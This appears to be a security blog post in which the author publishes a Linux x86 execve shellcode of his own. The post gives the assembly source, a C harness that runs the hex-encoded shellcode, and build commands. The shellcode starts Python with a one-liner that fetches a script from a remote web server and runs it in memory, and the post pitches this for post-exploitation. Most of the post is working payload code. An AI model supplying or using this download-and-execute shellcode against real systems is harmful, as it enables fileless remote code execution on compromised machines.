.section .text .global _start _start: push $0xb pop %eax cdq push %edx push $0x20292763 push $0x65786527 push $0x2c273e67 push $0x6e697274 push $0x733c272c push $0x29286461 push $0x65722e29 push $0x2779702e push $0x646c726f push $0x776f6c6c push $0x65682f32 push $0x34323834 push $0x3639322f push $0x752f6d6f push $0x632e786f push $0x62706f72 push $0x642e6c64 push $0x2f2f3a70 push $0x74746827 push $0x286e6570 push $0x6f6c7275 push $0x2e326269 push $0x6c6c7275 push $0x28656c69 push $0x706d6f63 push $0x20636578 push $0x653b3262 push $0x696c6c72 push $0x75207472 push $0x6f706d69 mov %esp, %esi push %edx pushw $0x632d mov %esp, %ecx push %edx push $0x6e6f6874 push $0x79702f6e push $0x69622f72 push $0x73752f2f mov %esp,%ebx push %edx push %esi push %ecx push %ebx mov %esp,%ecx int $0x80

import urllib2 ; exec compile(urllib2.urlopen('http://ikotler.org/helloworld.py').read(), '<string>', 'exec')

print "Hello, world"

$ as -o python-execve-urllib2-exec.o python-execve-urllib2-exec.s $ ld -o python-execve-urllib2-exec python-execve-urllib2-exec.o $ ./python-execve-urllib2-exec

Hello, world

char shellcode[] = "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cdq "\x52" // push %edx "\x68\x63\x27\x29\x20" // push $0x20292763 "\x68\x27\x65\x78\x65" // push $0x65786527 "\x68\x67\x3e\x27\x2c" // push $0x2c273e67 "\x68\x74\x72\x69\x6e" // push $0x6e697274 "\x68\x2c\x27\x3c\x73" // push $0x733c272c "\x68\x61\x64\x28\x29" // push $0x29286461 "\x68\x29\x2e\x72\x65" // push $0x65722e29 "\x68\x2e\x70\x79\x27" // push $0x2779702e "\x68\x6f\x72\x6c\x64" // push $0x646c726f "\x68\x6c\x6c\x6f\x77" // push $0x776f6c6c "\x68\x32\x2f\x68\x65" // push $0x65682f32 "\x68\x34\x38\x32\x34" // push $0x34323834 "\x68\x2f\x32\x39\x36" // push $0x3639322f "\x68\x6f\x6d\x2f\x75" // push $0x752f6d6f "\x68\x6f\x78\x2e\x63" // push $0x632e786f "\x68\x72\x6f\x70\x62" // push $0x62706f72 "\x68\x64\x6c\x2e\x64" // push $0x642e6c64 "\x68\x70\x3a\x2f\x2f" // push $0x2f2f3a70 "\x68\x27\x68\x74\x74" // push $0x74746827 "\x68\x70\x65\x6e\x28" // push $0x286e6570 "\x68\x75\x72\x6c\x6f" // push $0x6f6c7275 "\x68\x69\x62\x32\x2e" // push $0x696c6c72 "\x68\x75\x72\x6c\x6c" // push $0x6c6c7275 "\x68\x69\x6c\x65\x28" // push $0x28656c69 "\x68\x63\x6f\x6d\x70" // push $0x706d6f63 "\x68\x78\x65\x63\x20" // push $0x20636578 "\x68\x62\x32\x3b\x65" // push $0x653b3262 "\x68\x72\x6c\x6c\x69" // push $0x696c6c72 "\x68\x72\x74\x20\x75" // push $0x75207472 "\x68\x69\x6d\x70\x6f" // push $0x6f706d69 "\x89\xe6" // mov %esp,%esi "\x52" // push %edx "\x66\x68\x2d\x63" // pushw $0x632d "\x89\xe1" // mov %esp,%ecx "\x52" // push %edx "\x68\x74\x68\x6f\x6e" // push $0x6e6f6874 "\x68\x6e\x2f\x70\x79" // push $0x79702f6e "\x68\x72\x2f\x62\x69" // push $0x69622f72 "\x68\x2f\x2f\x75\x73" // push $0x73752f2f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x56" // push %esi "\x51" // push %ecx "\x53" // push %ebx "\x89\xe1" // mov %esp, %ecx "\xcd\x80"; // int $0x80 int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }

$ gcc -o python-execve-urllib2-exec python-execve-urllib2-exec.c $ ./python-execve-urllib2-exec

Hello, world

About a month ago, Phrack magazine #68 was released and a linux x86 shellcode ( bindshell-tcp-fork.s ) that I wrote a few years ago got mentioned in one of the articles.This made me feel nostalgic and I have decided to pack all the shellcodes that I have written over the years into a tarball ( linux_x86_shellcodes.tar.gz ) and re-publish it.The feedback I got was great, and it inspired me to go and write a new shellcode. So, I did.I have written a new linux x86 execve() shellcode that executes the Python interpreter with a Python program passed in as string.Why calling Python and not /bin/sh you ask? Because Python script makes it easier to customize and/or automate a penetration testing (especially post exploitation).Python is a cross-platform programming language with a decent standard library, and is known to run on almost any operating system or hardware platform.A Python script can query the OS, CPU, HOSTNAME, and even IP address, and based on this information to call different functions and/or use different parameters.Shell script, as good as it may be, is still dependent on various binaries to be installed beforehand to be able to run successfully. Also, shell scripts are not cross-platform.Let's have a look on how it works. Here's the shellcode source code:What the shellcode does is call execve() syscall with '/usr/bin/python' as the filename argument, and '-c' and a one-line Python program as the argv array argument.There's no need for a cleanup code, as execve() does not return on success, and the text, data, bss, and stack of the calling process are overwritten by that of the program loaded.Here is the Python one-line program source code:What the Python program does is import the urllib2 library and use it to retrieve a Python script from a remote Web server, and then compiles and executes it on the fly.More to it, The retrieved Python script remains in memory the whole time. The Python program does all of the above without writing any data to the hard drive.Here is the retrieved Python script (i.e. helloworld.py) source code:Depending on the nature of the retrieved Python script, it might be enough to just use eval() instead of exec and compile() combination in the one-line Python program.In this case, print is a statement in Python 2.x and as such it can not be evaluated using eval(). in Python 3, print() is a function and can be evaluated using eval().If in doubt, always use the exec and compile() combination.To compile the shellcode source and test it:The output should be:Here is the shellcode represented as a hex string within a C program:Again, to run and test it is as easy as:The output should be the same:Now, I have also decided to open a GitHub repository to host the collection of shellcodes that I have written in the past, as well as any that I may write in the future.I have committed both .S , and .C versions of this shellcode to it, as well as the rest of the shellcodes from the tarball.The repository can be found at: https://github.com/ikotler/shellcode Feel free to fork, and if you wish, to submit a pull-request and fix bug or suggest a change.